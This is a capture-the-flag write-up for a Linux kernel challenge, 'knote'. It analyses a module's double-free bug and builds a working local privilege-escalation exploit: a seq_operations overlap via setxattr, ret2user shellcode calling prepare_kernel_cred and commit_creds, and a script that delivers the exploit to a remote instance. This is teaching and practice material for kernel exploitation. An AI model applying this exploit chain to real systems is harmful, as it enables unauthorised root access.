knote
15 minutes to read
We are given a Linux file system and some other files common in kernel exploitation challenges:
$ tree
.
├── debug
│ ├── bzImage
│ ├── qemu-cmd
│ └── rootfs.img
├── knote.c
└── knote.ko
1 directory, 5 files
This is debug/qemu-cmd
:
#!/bin/bash
timeout --foreground 35 qemu-system-x86_64 \
-m 128M \
-nographic \
-kernel /home/ctf/bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null \
-initrd /home/ctf/rootfs.img \
-no-kvm \
-cpu qemu64 \
-smp cores=2
It is basically a large command to run the kernel image with qemu
. As can be seen, KASLR is enabled, but there is no SMEP, SMAP or KPTI. All these knowledge comes from Learning Linux Kernel Exploitation - Part 1.
Source code analysis
This time, we have the C source code of the kernel module (knote.c
):
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/device.h>
#include <linux/mutex.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#define DEVICE_NAME "knote"
#define CLASS_NAME "knote"
MODULE_AUTHOR("r4j");
MODULE_DESCRIPTION("Secure your secrets in the kernelspace");
MODULE_LICENSE("GPL");
static DEFINE_MUTEX(knote_ioctl_lock);
static long knote_ioctl(struct file *file, unsigned int cmd, unsigned long arg);
static int major;
static struct class *knote_class = NULL;
static struct device *knote_device = NULL;
static struct file_operations knote_fops = {
.unlocked_ioctl = knote_ioctl
};
struct knote {
char *data;
size_t len;
void (*encrypt_func)(char *, size_t);
void (*decrypt_func)(char *, size_t);
};
struct knote_user {
unsigned long idx;
char * data;
size_t len;
};
enum knote_ioctl_cmd {
KNOTE_CREATE = 0x1337,
KNOTE_DELETE = 0x1338,
KNOTE_READ = 0x1339,
KNOTE_ENCRYPT = 0x133a,
KNOTE_DECRYPT = 0x133b
};
struct knote *knotes[10];
void knote_encrypt(char *data, size_t len) {
int i;
for (i = 0; i < len; ++i)
data[i] ^= 0xaa;
}
void knote_decrypt(char *data, size_t len) {
knote_encrypt(data, len);
}
static long knote_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
mutex_lock(&knote_ioctl_lock);
struct knote_user ku;
if (copy_from_user(&ku, (void *)arg, sizeof(struct knote_user)))
return -EFAULT;
switch (cmd) {
case KNOTE_CREATE:
if (ku.len > 0x20 || ku.idx >= 10)
return -EINVAL;
char *data = kmalloc(ku.len, GFP_KERNEL);
knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL);
if (data == NULL || knotes[ku.idx] == NULL) {
mutex_unlock(&knote_ioctl_lock);
return -ENOMEM;
}
knotes[ku.idx]->data = data;
knotes[ku.idx]->len = ku.len;
if (copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) {
kfree(knotes[ku.idx]->data);
kfree(knotes[ku.idx]);
mutex_unlock(&knote_ioctl_lock);
return -EFAULT;
}
knotes[ku.idx]->encrypt_func = knote_encrypt;
knotes[ku.idx]->decrypt_func = knote_decrypt;
break;
case KNOTE_DELETE:
if (ku.idx >= 10 || !knotes[ku.idx]) {
mutex_unlock(&knote_ioctl_lock);
return -EINVAL;
}
kfree(knotes[ku.idx]->data);
kfree(knotes[ku.idx]);
knotes[ku.idx] = NULL;
break;
case KNOTE_READ:
if (ku.idx >= 10 || !knotes[ku.idx] || ku.len > knotes[ku.idx]->len) {
mutex_unlock(&knote_ioctl_lock);
return -EINVAL;
}
if (copy_to_user(ku.data, knotes[ku.idx]->data, ku.len)) {
mutex_unlock(&knote_ioctl_lock);
return -EFAULT;
}
break;
case KNOTE_ENCRYPT:
if (ku.idx >= 10 || !knotes[ku.idx]) {
mutex_unlock(&knote_ioctl_lock);
return -EINVAL;
}
knotes[ku.idx]->encrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);
break;
case KNOTE_DECRYPT:
if (ku.idx >= 10 || !knotes[ku.idx]) {
mutex_unlock(&knote_ioctl_lock);
return -EINVAL;
}
knotes[ku.idx]->decrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);
break;
default:
mutex_unlock(&knote_ioctl_lock);
return -EINVAL;
}
mutex_unlock(&knote_ioctl_lock);
return 0;
}
static int __init init_knote(void) {
major = register_chrdev(0, DEVICE_NAME, &knote_fops);
if (major < 0)
return -1;
knote_class = class_create(THIS_MODULE, CLASS_NAME);
if (IS_ERR(knote_class)) {
unregister_chrdev(major, DEVICE_NAME);
return -1;
}
knote_device = device_create(knote_class, 0, MKDEV(major, 0), 0, DEVICE_NAME);
if (IS_ERR(knote_device)) {
class_destroy(knote_class);
unregister_chrdev(major, DEVICE_NAME);
return -1;
}
return 0;
}
static void __exit exit_knote(void) {
device_destroy(knote_class, MKDEV(major, 0));
class_unregister(knote_class);
class_destroy(knote_class);
unregister_chrdev(major, DEVICE_NAME);
}
module_init(init_knote);
module_exit(exit_knote);
It looks like a heap exploitation challenge but in kernel land. The heap allocator is SLAB, which is well documented here and here.
The module defines these structures:
struct knote {
char *data;
size_t len;
void (*encrypt_func)(char *, size_t);
void (*decrypt_func)(char *, size_t);
};
struct knote_user {
unsigned long idx;
char * data;
size_t len;
};
enum knote_ioctl_cmd {
KNOTE_CREATE = 0x1337,
KNOTE_DELETE = 0x1338,
KNOTE_READ = 0x1339,
KNOTE_ENCRYPT = 0x133a,
KNOTE_DECRYPT = 0x133b
};
struct knote *knotes[10];
It is important to note that knote
is a 0x20
bytes structure and knote_user
is a 0x18
bytes structure. We can allocate up to 10 notes with at most 0x20
bytes of data.
Allocation function
Using command KNOTE_CREATE
, we will enter this option:
case KNOTE_CREATE:
if (ku.len > 0x20 || ku.idx >= 10)
return -EINVAL;
char *data = kmalloc(ku.len, GFP_KERNEL);
knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL);
if (data == NULL || knotes[ku.idx] == NULL) {
mutex_unlock(&knote_ioctl_lock);
return -ENOMEM;
}
knotes[ku.idx]->data = data;
knotes[ku.idx]->len = ku.len;
if (copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) {
kfree(knotes[ku.idx]->data);
kfree(knotes[ku.idx]);
mutex_unlock(&knote_ioctl_lock);
return -EFAULT;
}
knotes[ku.idx]->encrypt_func = knote_encrypt;
knotes[ku.idx]->decrypt_func = knote_decrypt;
break;
Basically, we can provide data to create a new note. There is something strange because if copy_from_user
errors, then the chunk is freed.
Free function
Using command KNOTE_DELETE
, we have this:
case KNOTE_DELETE:
if (ku.idx >= 10 || !knotes[ku.idx]) {
mutex_unlock(&knote_ioctl_lock);
return -EINVAL;
}
kfree(knotes[ku.idx]->data);
kfree(knotes[ku.idx]);
knotes[ku.idx] = NULL;
break;
It simply checks that the note exists and then uses kfree
to free both the note and the data chunk. At the end, it removes the pointer using knotes[ku.idx] = NULL
.
If we compare this procedure to the one in KNOTE_CREATE
, the module does not remove the pointer. Hence, we can get a double free by calling KNOTE_CREATE
with an error and then using KNOTE_DELETE
.
Read function
This is KNOTE_READ
:
case KNOTE_READ:
if (ku.idx >= 10 || !knotes[ku.idx] || ku.len > knotes[ku.idx]->len) {
mutex_unlock(&knote_ioctl_lock);
return -EINVAL;
}
if (copy_to_user(ku.data, knotes[ku.idx]->data, ku.len)) {
mutex_unlock(&knote_ioctl_lock);
return -EFAULT;
}
break;
It allows us to copy the note data into our user variable.
There are two more functions that allow to encrypt/decrypt the data field, but they are not relevant for exploitation.
Environment setup
I needed to modify a bit the qemu-cmd
script to make it run (for instance, I had to remove -no-kvm
option. I believe there is a newer option called -enable-kvm
, so KVM must be already disabled by default):
#!/bin/bash
qemu-system-x86_64 -s \
-m 128M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null \
-initrd rootfs.img \
-cpu qemu64 \
-smp cores=2
Moreover, I added -s
to enable debugging on port 1234 and removed the timeout --foreground 35
, since this will only matter when running the exploit on the remote instance.
In order to test the kernel exploit, we will decompress the filesystem (rootfs.img
), add the compiled exploit and compress the filesystem again before running qemu
.
First of all, let’s decompress the filesystem:
$ ls
bzImage qemu-cmd rootfs.img
$ file rootfs.img
rootfs.img: ASCII cpio archive (SVR4 with no CRC)
$ mkdir rootfs
$ cd rootfs
$ cpio -i < ../rootfs.img
2077 blocks
$ ls
bin dev flag init proc sbin tmp
bzImage etc home knote.ko qemu-cmd sys usr
$ cat flag
<FLAG WILL BE HERE>
Now, we can use a script like this (go.sh
):
#!/usr/bin/env bash
musl-gcc -o solve -static ../solve.c
mv solve rootfs
cd rootfs
find . -print0 \
| cpio --null -ov --format=newc 2>/dev/null \
| gzip -9 > ../rootfs.img
cd ..
sh qemu-cmd
And now we can start creating the exploit.
Exploit strategy
The bug was spotted before. If we enter an invalid address in the knote_user
structure, the module frees both the data chunk and the knote
structure, but does not remove the pointer to the structure. Therefore, with option KNOTE_FREE
we can actually free again this structure because the pointer still exists. That is, we can achieve a double free vulnerability.
It is common in kernel exploits that involve the heap to look for structures that fit in a certain cache (this time, kmalloc-32
). Some of the useful kernel structures that can be exploited are listed in this article (although it is in Japanese). More resources on kernel exploitation can be found in linux-kernel-exploitation.
In kmalloc-32
, there is a useful structure called seq_operations
that has this form:
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
Basically, it contains 4 pointers to functions that are called when certain operations are triggered. With the double free vulnerability, we will be able to allocate this seq_operations
structure and allocate another structure in the same place, so that we can add arbitrary pointers in the seq_operations
structure.
Since there is no SMEP, SMAP and KPTI, we can simply add some shellcode to return to userland and tell the kernel module to make us root
and execute a shell. For that, we will need to find the address of prepare_kernel_cred
and commit_creds
, which will be available in /proc/kallsyms
. We will modify the init
file to login as root
, so that we can read the kernel symbols, by adding setsid cttyhack setuidgid 0 /bin/sh
:
#!/bin/sh
chown 0:0 -R /
chown 1000 /home/user
chmod 400 /flag
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t tmpfs tmpfs /tmp
sleep 1
insmod /knote.ko
chmod 744 /dev/knote
dmesg -n 1
chmod -R 777 /tmp/
cd /home/user
setsid cttyhack setuidgid 0 /bin/sh
cttyhack su -s /bin/sh user
poweroff -f
Now we can get the relevant addresses:
/home/user # grep -E 'prepare_kernel_cred|commit_creds' /proc/kallsyms
ffffffff81053a30 T commit_creds
ffffffff81053c50 T prepare_kernel_cred
ffffffff816cd674 r __ksymtab_commit_creds
ffffffff816d110c r __ksymtab_prepare_kernel_cred
ffffffff816d78b4 r __kstrtabns_commit_creds
ffffffff816d78b4 r __kstrtabns_prepare_kernel_cred
ffffffff816d8e22 r __kstrtab_commit_creds
ffffffff816d8e62 r __kstrtab_prepare_kernel_cred
Moreover, these addresses are related to the module:
/home/user # grep knote /proc/kallsyms
ffffffffa0000040 t knote_ioctl [knote]
ffffffffa0002100 d knote_ioctl_lock [knote]
ffffffffa0002000 d knote_fops [knote]
ffffffffa0002418 b major [knote]
ffffffffa0002410 b __key.26552 [knote]
ffffffffa0002410 b knote_class [knote]
ffffffffa0001074 r _note_7 [knote]
ffffffffa00023c0 b knotes [knote]
ffffffffa0002140 d __this_module [knote]
ffffffffa0000020 t knote_decrypt [knote]
ffffffffa0000000 t knote_encrypt [knote]
Now we can change it back to unprivileged.
Exploit development
We will use these helper functions:
#define KNOTE_CREATE 0x1337
#define KNOTE_DELETE 0x1338
typedef struct {
unsigned long idx;
char* data;
size_t len;
} req_t;
int fd;
long create(unsigned long idx, char* data, size_t len) {
req_t req = { .idx = idx, .data = data, .len = len };
return ioctl(fd, KNOTE_CREATE, &req);
}
long delete(unsigned long idx) {
req_t req = { .idx = idx };
return ioctl(fd, KNOTE_DELETE, &req);
}
In order to use GDB, we first need to extract the kernel image with a tool called extract-image.sh
:
$ file bzImage
bzImage: Linux kernel x86 boot executable bzImage, version 5.8.3 (raj@legion) #1 Fri Jul 16 02:24:20 IST 2021, RO-rootFS, swap_dev 0X1, Normal VGA
$ bash extract-image.sh bzImage > vmlinux
$ gdb -q vmlinux
Reading symbols from vmlinux...
(No debugging symbols found in vmlinux)
gef➤ gef-remote localhost 1234
0xffffffff810177c5 in ?? ()
[!] Command 'gef-remote' failed to execute properly, reason: Remote I/O error: Function not implemented
Let’s start by opening the device and creating a simple knote
structure:
void open_device() {
if ((fd = open("/dev/knote", O_RDONLY)) < 0) {
puts("[-] Error opening device");
exit(1);
}
}
int main() {
open_device();
puts("[*] Creating knote structure...")
create(0, "asdf", 4);
return 0;
}
We run the exploit:
~ $ /solve
[*] Creating knote structure...
And in GDB we can find the structure here:
gef➤ grep asdf
[+] Searching 'asdf' in memory
[+] In (0xffff88800009b000-0xffff888001000000), permission=rw-
0xffff8880003e004d - 0xffff8880003e0051 → "asdf"
[+] In (0xffff8880018d2000-0xffff88800750a000), permission=rw-
0xffff8880074b6d98 - 0xffff8880074b6d9c → "asdf[...]"
gef➤ grep 0xffff8880074b6d98
[+] Searching '\x98\x6d\x4b\x07\x80\x88\xff\xff' in memory
[+] In (0xffff888000000000-0xffff888000099000), permission=rw-
0xffff888000093c00 - 0xffff888000093c20 → "\x98\x6d\x4b\x07\x80\x88\xff\xff[...]"
gef➤ x/4gx 0xffff888000093c00
0xffff888000093c00: 0xffff8880074b6d98 0x0000000000000004
0xffff888000093c10: 0xffffffffa0000000 0xffffffffa0000020
So there we have the knote
structure:
struct knote {
char *data;
size_t len;
void (*encrypt_func)(char *, size_t);
void (*decrypt_func)(char *, size_t);
};
Now, let’s trigger the bug and the double free vulnerability:
void bug() {
puts("[*] Triggering bug...");
if (create(0, (char*) 0xacdc1337, 4) != -1) {
puts("[-] Failed");
exit(1);
}
puts("[*] Triggering double free...");
if (delete(0) != 0) {
puts("[-] Failed");
exit(1);
}
}
int main() {
open_device();
bug();
puts("[*] Creating knote structure...");
create(0, "asdf", 4);
getchar();
create(1, "fdsafdsafdsafdsa", 16);
return 0;
}
With the above code, we expect that "fdsafdsafdsafdsa"
is stored in the current structure (overwriting the pointer to "asdf"
).
This is before getchar()
:
~ $ /solve
[*] Triggering bug...
[*] Triggering double free...
[*] Creating knote structure...
gef➤ grep asdf
[+] Searching 'asdf' in memory
[+] In (0x400000-0x405000), permission=r--
0x40308d - 0x403091 → "asdf"
0x40408d - 0x404091 → "asdf"
[+] In (0xffff88800009b000-0xffff888001000000), permission=rw-
0xffff8880003e008d - 0xffff8880003e0091 → "asdf"
[+] In (0xffff8880018d2000-0xffff88800750b000), permission=rw-
0xffff8880074b6d98 - 0xffff8880074b6d9c → "asdf[...]"
gef➤ grep 0xffff8880074b6d98
[+] Searching '\x98\x6d\x4b\x07\x80\x88\xff\xff' in memory
[+] In (0xffff888000000000-0xffff888000099000), permission=rw-
0xffff888000093c00 - 0xffff888000093c20 → "\x98\x6d\x4b\x07\x80\x88\xff\xff[...]"
[+] In (0xffff888007514000-0xffff888007fe0000), permission=rw-
0xffff888007f33040 - 0xffff888007f33060 → "\x98\x6d\x4b\x07\x80\x88\xff\xff[...]"
gef➤ x/4gx 0xffff888000093c00
0xffff888000093c00: 0xffff8880074b6d98 0x0000000000000004
0xffff888000093c10: 0xffffffffa0000000 0xffffffffa0000020
gef➤ grep continue
Continuing.
And after the getchar()
:
gef➤ x/4gx 0xffff888000093c00
0xffff888000093c00: 0xffff88800008c290 0x0000000000000010
0xffff888000093c10: 0xffffffffa0000000 0xffffffffa0000020
gef➤ x/s 0xffff88800008c290
0xffff88800008c290: "fdsafdsafdsafdsa.init.text"
So, we have exploited the double free vulnerability. To verify it, we can search for the pointer to the structure (it should be stored in knotes
array twice):
gef➤ grep 0xffff888000093c00
[+] Searching '\x00\x3c\x09\x00\x80\x88\xff\xff' in memory
[+] In (0xffff888007519000-0xffff888007fe0000), permission=rw-
0xffff8880075193c0 - 0xffff8880075193e0 → "\x00\x3c\x09\x00\x80\x88\xff\xff[...]"
0xffff8880075193c8 - 0xffff8880075193e8 → "\x00\x3c\x09\x00\x80\x88\xff\xff[...]"
[+] In (0xffffffffa0002000-0xffffffffa0004000), permission=rw-
0xffffffffa00023c0 - 0xffffffffa00023e0 → "\x00\x3c\x09\x00\x80\x88\xff\xff[...]"
0xffffffffa00023c8 - 0xffffffffa00023e8 → "\x00\x3c\x09\x00\x80\x88\xff\xff[...]"
gef➤ x/10gx 0xffff8880075193c0
0xffff8880075193c0: 0xffff888000093c00 0xffff888000093c00
0xffff8880075193d0: 0x0000000000000000 0x0000000000000000
0xffff8880075193e0: 0x0000000000000000 0x0000000000000000
0xffff8880075193f0: 0x0000000000000000 0x0000000000000000
0xffff888007519400: 0x0000000000000000 0x0000000000000000
And there we have it at indices 0
and 1
.
The above was just a proof of concept. Now we are going to allocate a seq_operations
structure and modify its pointers as follows:
int main() {
open_device();
bug();
puts("[*] Creating seq_operations structure...");
int seq_fd = open("/proc/self/stat", O_RDONLY);
if (seq_fd < 0) {
puts("[-] Error opening /proc/self/stat");
exit(1);
}
getchar();
char data[32];
memset(data, 'A', 32);
create(1, data, 32);
return 0;
}
We run the exploit:
~ $ /solve
[*] Triggering bug...
[*] Triggering double free...
[*] Creating seq_operations structure...
gef➤ x/4gx 0xffff888000093c00
0xffff888000093c00: 0xffffffff810f17e0 0xffffffff810f1800
0xffff888000093c10: 0xffffffff810f17f0 0xffffffff811082e0
Above we can see the seq_operations
structure, with the four pointers. If we pass the getchar()
, we will trigger a kernel panic because we have modified those pointers with A
values:
BUG: unable to handle page fault for address: ffffffff810f17f0
#PF: supervisor write access in kernel mode
#PF: error_code(0x0003) - permissions violation
PGD 181d067 P4D 181d067 PUD 181e063 PMD 10001e1
Oops: 0003 [#1] NOPTI
CPU: 0 PID: 29 Comm: solve Tainted: G O 5.8.3 #1
RIP: 0010:knote_ioctl+0x11d/0xfc0 [knote]
Code: 49 78 0c e1 4a 89 04 e5 c0 23 00 a0 48 85 db 0f 84 5a 01 00 00 48 8b 45 1
RSP: 0018:ffffc90000087ec0 EFLAGS: 00000286
RAX: ffffffff810f17f0 RBX: ffff888000093c00 RCX: 000000000000058c
RDX: 000000000000058b RSI: 0000000000000cc0 RDI: ffff888000090c00
RBP: ffffc90000087ee8 R08: ffff888007f33080 R09: ffffffff810f17f0
R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000001
R13: 0000000000001337 R14: 00007fff73b05e80 R15: ffff88800013fa00
FS: 0000000000405b98(0000) GS:ffffffff81832000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffffffff810f17f0 CR3: 0000000007546000 CR4: 00000000000006b0
Call Trace:
ksys_ioctl+0x71/0xb0
__x64_sys_ioctl+0x19/0x20
do_syscall_64+0x40/0xb0
entry_SYSCALL_64_after_hwframe+0x44/0xa9
RIP: 0033:0x4018b5
Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24 10 00 00 00 48 89 44 24 0
RSP: 002b:00007fff73b05e00 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 00000000004012f1 RCX: 00000000004018b5
RDX: 00007fff73b05e80 RSI: 0000000000001337 RDI: 0000000000000003
RBP: 00007fff73b05ea0 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 00007fff73b05f38
R13: 00007fff73b05f48 R14: 0000000000000000 R15: 0000000000000000
Modules linked in: knote(O)
CR2: ffffffff810f17f0
---[ end trace 6e2cce25cacf035e ]---
RIP: 0010:knote_ioctl+0x11d/0xfc0 [knote]
Code: 49 78 0c e1 4a 89 04 e5 c0 23 00 a0 48 85 db 0f 84 5a 01 00 00 48 8b 45 1
RSP: 0018:ffffc90000087ec0 EFLAGS: 00000286
RAX: ffffffff810f17f0 RBX: ffff888000093c00 RCX: 000000000000058c
RDX: 000000000000058b RSI: 0000000000000cc0 RDI: ffff888000090c00
RBP: ffffc90000087ee8 R08: ffff888007f33080 R09: ffffffff810f17f0
R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000001
R13: 0000000000001337 R14: 00007fff73b05e80 R15: ffff88800013fa00
FS: 0000000000405b98(0000) GS:ffffffff81832000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffffffff810f17f0 CR3: 0000000007546000 CR4: 00000000000006b0
Kernel panic - not syncing: Fatal exception
Kernel Offset: disabled
Rebooting in 1 seconds..
Instead of using dummy values, let’s use the address of a function that uses shellcode to spawn a shell. This setup is needed to do a ret2user technique (more information at lkmidas.github.io):
void shell() {
printf("[+] UID: %d\n", getuid());
close(seq_fd);
system("/bin/sh");
exit(0);
}
unsigned long bak_cs, bak_rflags, bak_ss, bak_rsp, bak_rip = (unsigned long) shell;
void backup() {
__asm__(
".intel_syntax noprefix;"
"mov bak_cs, cs;"
"mov bak_ss, ss;"
"mov bak_rsp, rsp;"
"pushf;"
"pop bak_rflags;"
".att_syntax;"
);
puts("[+] Registers backed up");
}
void shellcode() {
__asm__(
".intel_syntax noprefix;"
"mov rdi, 0;"
"movabs rbx, 0xffffffff81053c50;" // prepare_kernel_cred
"call rbx;"
"mov rdi, rax;"
"movabs rbx, 0xffffffff81053a30;" // commit_creds
"call rbx;"
"swapgs;"
"mov r15, bak_ss;"
"push r15;"
"mov r15, bak_rsp;"
"push r15;"
"mov r15, bak_rflags;"
"push r15;"
"mov r15, bak_cs;"
"push r15;"
"mov r15, bak_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}
Notice that even though KASLR appears enable in the qemu
script, while debugging, it was not enabled. Therefore, there is no need to get a leak to bypass KASLR, we can use fixed address for prepare_kernel_cred
and commit_creds
.
Instead of using create
to modify the seq_operations
pointers, we can use a safer way with setxattr
(which appears in the Japanese article as well):
int main() {
void *shellcode_ptr = &shellcode;
backup();
open_device();
bug();
puts("[*] Creating seq_operations structure...");
seq_fd = open("/proc/self/stat", O_RDONLY);
if (seq_fd < 0) {
puts("[-] Error opening /proc/self/stat");
exit(1);
}
printf("[*] Target function: %p\n", &shellcode);
setxattr("/proc/self/stat", "exploit", &shellcode_ptr, 32, 0);
read(seq_fd, NULL, 1);
return 0;
}
And at this point we will use read
on the seq_operations
file descriptor to trigger a pointer of the structure, so that we can escalate privileges to root
:
~ $ /solve
[*] Registers backed up
[*] Triggering bug...
[*] Triggering double free...
[*] Creating seq_operations structure...
[*] Target function: 0x401372
[+] UID: 0
/bin/sh: can't access tty; job control turned off
/home/user # cat /flag
<FLAG WILL BE HERE>
Flag
Now, let’s try on the remote instance. Since there is a short time, I created a script to copy the exploit (compressed and Base64-encoded) in the clipboard with the commands needed to execute it quickly:
#!/usr/bin/env bash
rm solve solve.gz solve.gz.b64 2>/dev/null
musl-gcc -o solve -static ../solve.c
gzip solve
base64 solve.gz > solve.gz.b64
for line in $(cat solve.gz.b64); do
echo "echo $line >> solve.gz.b64"
done
echo "
cat solve.gz.b64 | base64 -d > solve.gz; gzip -d solve.gz; chmod +x solve; ./solve
"
$ nc 139.59.188.60 31283
SeaBIOS (version rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org)
iPXE (http://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+07F8F130+07EEF130 CA00
Booting from ROM...
sh: can't access tty; job control turned off
~ $ echo echo H4sICBvkf2QAA3NvbHZlAOxaf3xTVZZ/aZOSQuEFLVgckOg+3EZEGlakUTr0SSo37gOrtIpQHGeL >> solve.gz.b64
...
~ $ echo U752f2OY/CO62X2aDq7P/7Fw+vpfyvMHdXA97uFh8v+O5//x9+TP0V3ZF99oWsE3SHAc1QoZ/mnj >> solve.gz.b64
~ $ echo CtcdT3cIcsVv2N2jO9mqL3/MMPm3/IHdjd/T//8LmQbrlUivAAA= >> solve.gz.b64
~ $
~ $ cat solve.gz.b64 | base64 -d > solve.gz; gzip -d solve.gz; chmod +x solve; ./solve
[*] Registers backed up
[*] Triggering bug...
[*] Triggering double free...
[*] Creating seq_operations structure...
[*] Target function: 0x401372
[+] UID: 0
/bin/sh: can't access tty; job control turned off
/home/user # cat /flag
cat /flag
HTB{2cdbf36398470b5428ea991d18502ef2}
The full exploit can be found in here: solve.c
.